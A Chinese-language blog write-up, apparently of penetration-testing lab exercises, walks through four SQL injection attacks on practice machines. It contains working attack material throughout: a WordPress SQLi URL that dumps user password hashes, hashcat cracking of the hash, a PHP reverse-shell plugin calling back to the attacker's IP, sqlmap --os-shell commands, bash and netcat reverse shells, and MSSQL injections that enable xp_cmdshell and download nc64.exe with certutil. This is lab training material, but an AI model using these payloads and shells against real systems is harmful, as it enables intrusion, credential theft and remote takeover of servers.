SQL Injection 練習
SQL Injection 練習
練習 1 :
靶機 IP : 192.168.218.47(花了太多時間解,IP 有換過)
攻擊端 IP : 192.168.45.187
第一步 rustscan,22/80 Port 看來是台 Linux Web Server
80 Port 網頁呈現一個網域 alvida-eatery.org
當中也提到請你去訪問這個網站
那就改一下 hosts 將網域名稱 alvida-eatery.org 指向靶機,成功開啟如下
看來目標應該在此網站,網站上相關欄位測試過第一輪沒有發現 SQL Injection
真的不行再來測試 command injection
whatweb 下去看一下,是個 WordPress 網站
看到 WordPress 第一步就是 wpscan 下去,指令 └─$ wpscan --url http://alvida-eatery.org/ -e u
回頭繼續 wpscan 看看,其中一個顯示可以 POST only
有個 /wp-content/uploads/ 可以列舉,該不會要每個目錄給他點一下收集資訊吧
爬了一下看來是文章的貼圖,暫時沒啥有用的資訊
逛了一下網站看來可以在文章留言,跟著留言測試了一下成功
通常有 POST 的地方就有貓膩
回頭到 wpscan 有列舉出使用者 admin,那就 rockyou 一下試試看
進階 wpscan 指令與參數
-U : 已知 admin 帳號就直接指定用 admin 當作帳號來破解
-P : 指定的密碼檔
--rua : 等於 --random-user-agent 就是隨機使用 Agent
-e : 預設沒輸入都會帶入,就是列舉的方式
不知道時都可以 man 一下看看參數應用 man wpscan
這一次打算使用的指令如下,網路上分享如下這個極度耗時有時間再試試看
└─$ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://alvida-eatery.org/ -U admin -P /usr/share/wordlists/rockyou.txt
改用 john 跑試試比較快速,沒有得到結果
└─$ wpscan --url http://alvida-eatery.org/ -U admin -P /usr/share/wordlists/john.lst
只好開啟 wpscan 網站拿一下 API Token 用一下較進階的 wpscan 手法了
簡單講就是有了 API Token 就可以直接將漏洞直接列出在 wpscan 顯示介面
改用以下參數執行 wpscan
└─$ wpscan --url http://alvida-eatery.org/ -e vp --api-token [TOKEN]
可以看到掃完相關套件會一併列舉該版本的可利用漏洞與參考
本練習是 SQL Injection 所以將目標放在 SQLi 字眼上可以發現下面這個
PS : 其實還有其他幾個但最後答案是這個
開啟提供的 wpscan 網站的連結,可以看到直接提供 POC
https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
POC 如下
(The question_id must start with an existing post ID)
https://example.com/wp-admin/admin-ajax.php?action=get_question&question_id=1%20union%20select%201%2C1%2Cchar(116%2C101%2C120%2C116)%2Cuser_login%2Cuser_pass%2C0%2C0%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%20from%20wp_users
將網址換成我們要打的網站 http://alvida-eatery.org/,調整如下
http://alvida-eatery.org/wp-admin/admin-ajax.php?action=get_question&question_id=1%20union%20select%201%2C1%2Cchar(116%2C101%2C120%2C116)%2Cuser_login%2Cuser_pass%2C0%2C0%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%20from%20wp_users
注入發現有回應如下圖
送到 Burp Suite 查看比較方便,透過關鍵字搜尋,例如 password、admin 等
發現一串很特別的字串 [ "$P$BINTaLa8QLMqeXbQtzT2Qfizm2P\/nI0\" ]
看起來就是一串 HASH,長度總共 36 碼,與平時認知的 32 碼 MD5 不同
上 hashcat 查查看,網址 https://hashcat.net/wiki/doku.php?id=example_hashes
用 wordpress 關鍵字尋找如下可以看到 mode 是 400 且範例長得很像,那就沒錯了
SQL Injection 漏洞利用拿到的 HASH 跟網站上的 HASH 範例比較一下看看
- $P$BINTaLa8QLMqeXbQtzT2Qfizm2P\/nI0\ --> 36 碼
- $P$984478476IagS59wHZvyQMArzfx58u. --> 34 碼
多了 2 碼,開頭都是 $P$,所以問題不是在開頭而是在結尾,看來當中的 \ 是多餘的
實際上 HASH 值應該是 34 碼 : [ $P$BINTaLa8QLMqeXbQtzT2Qfizm2P/nI0 ]
得到實際 HASH 值後就直接用 hashcat 解碼看看
指令 └─$ sudo hashcat -a 0 -m 400 '$P$BINTaLa8QLMqeXbQtzT2Qfizm2P/nI0' /usr/share/wordlists/rockyou.txt
-a 指定要使用的破解模式,其值參考後面對參數。“-a 0”字典攻擊,“-a 1” 組合攻擊;“-a 3”掩碼攻擊。
-m 指定要破解的hash類型,如果不指定類型,則默認是MD5,這裡我們知道直接用 400
拿到 admin 的密碼了 "hulabaloo",立馬來給他登入試試看
過了.......
那就直接安插 Reverse Shell Plugin 套件吧,直接上傳一個 wordpress.php.zip
該檔案 wordpress.php 內容如下,就是建立遠端的 Remote Shell
上傳前記得包成 zip 檔案,指令 └─$ zip -r wordpress.php.zip wordpress.php
======================================================================
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Aries Hsu
* Author URI: https://your-it-note.blogspot.com/
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.187/4444 0>&1'");
?>
上傳後且安裝成功
記得要去啟用該套件
一啟用後 Reverse Shell 就進來了
依據關鍵點就是要找 flag.txt 那就直接 find 最快
指令 find / -type f -name flag.txt 2>/dev/null,找到 flag.txt 直接 cat 一下拿答案吧,結束
練習 2 :
靶機 IP : 192.168.187.48
攻擊端 IP : 192.168.45.187
rustscan 後確認 22、80、3306、33060
80 網頁底下看來有個訂閱的欄位
隨便送出一個值 name@test.com
轉到 Burp Suite 另存新檔 post.txt
不用廢話,直接 sqlmap 下去,這種就是先測試塞檔案
指令 └─$ sqlmap -r post.txt -p mail-list --os-shell --web-root "/var/www/html/tmp"
結果 GG, 無法寫入
換個路徑再測試一次
指令 └─$ sqlmap -r post.txt -p mail-list --os-shell --web-root "/var/www/html"
UNION 透過 Order by 測試可以知道六個欄位,透過 Burp Suite 塞入測試
網頁也可成功直接透過 Quert String 下命令了
拿反向 shell 操作還是最方便的,linux 最愛指令
bash -c "bash -i >& /dev/tcp/192.168.45.187/4444 0>&1"
URL Encode 一下
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.187%2F4444%200%3E%261%22
網址列直接送出, 4444 進來了
http://192.168.187.48/webshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.187%2F4444%200%3E%261%22
切到根目錄,find flag.txt 發現是個隱藏檔,一樣 cat 一下拿到答案
練習 3 :
靶機 IP : 192.168.187.49
攻擊端 IP : 192.168.45.187
rustscan 後確認 22、80、5432
一樣有個郵件訂閱欄位,點了沒任何反應看來是個沒用的欄位
另外某網址看到可以輸入許多欄位,那就一一測試看看吧
測試到後面欄位 Height(CM) 的 UNION 測試在 ORDER 6 時沒反應
ORDER 7 的時候跳錯誤訊息,所以可以非常確定 6 個欄位
直接 sqlmap 進去
└─$ sqlmap -r post.txt -p height --os-shell --web-root "/var/www/html/tmp"
從 OS-Shell 去連線 remote shell 指令 nc -e /bin/bash 192.168.45.187 4444
Reverse shell 小抄
4444 進來了
fund 找到檔案後 cat 拿答案
練習 3 :
靶機 IP : 192.168.187.50
攻擊端 IP : 192.168.45.187
rustscan 後確認 80、135、139、445、etc(RPC)....
看來是台 Windows MSSQL
一樣先開網頁逛一逛,是個 COVID 網站,下方有個輸入欄位,測試後沒用
另外有個 Login 網頁
帳號欄位輸入 admin' OR 1=1 -- // 測試,結果顯示無效的 cerdentials
看來帳號欄位無法注入
sqlmap 掃下去看來帳號欄位是個漏洞,繼續測試看看
結果拿到 shell 了,不過這個 shell 都是無回應看來沒用,要改想法直接注入
sqlmap 給的 Injection 為 "admin' WAITFOR DELAY '0:0:5'--"
Time-Base 語法等注入可以參考此網站
https://github.com/payloadbox/sql-injection-payload-list
也已經知道欄位是使用者帳號欄位,所以改成直接注入的攻擊方式
讓我們先開啟 xp_cmdshell,輸入前面所學,在使用者欄位直接注入下面四行指令
';EXECUTE sp_configure 'show advanced options', 1;WAITFOR DELAY '0:0:5'--
';EXECUTE sp_configure RECONFIGURE; WAITFOR DELAY '0:0:5'--
';EXECUTE sp_configure 'xp_cmdshell', 1;WAITFOR DELAY '0:0:5'--
';EXECUTE sp_configure RECONFIGURE; WAITFOR DELAY '0:0:5'--
如此一來就打開了 xp_cmdshell
接著讓我們上傳 payload,這裡使用 Windows 的 certutil 指令並搭配 nc64.exe
指令 ';EXEC xp_cmdshell "certutil -urlcache -f http://192.168.45.228:80/nc64.exe C:\users\Public\nc64.exe" ; WAITFOR DELAY '0:0:5'--
可以看到過來下載攻擊機端透過 Web Server 準備好的 nc64.exe
最後一樣透過 xp_cmdshell 去啟動 reverse shell 讓靶機來連線攻擊機的 4444 Listen,注入指令
';EXEC xp_cmdshell "C:\users\Public\nc64.exe 192.168.45.228 4444 -e cmd" ; WAITFOR DELAY '0:0:5'--
4444 Port 進來了, dir /s 搜尋一下 flag.txt 拿答案吧
留言
張貼留言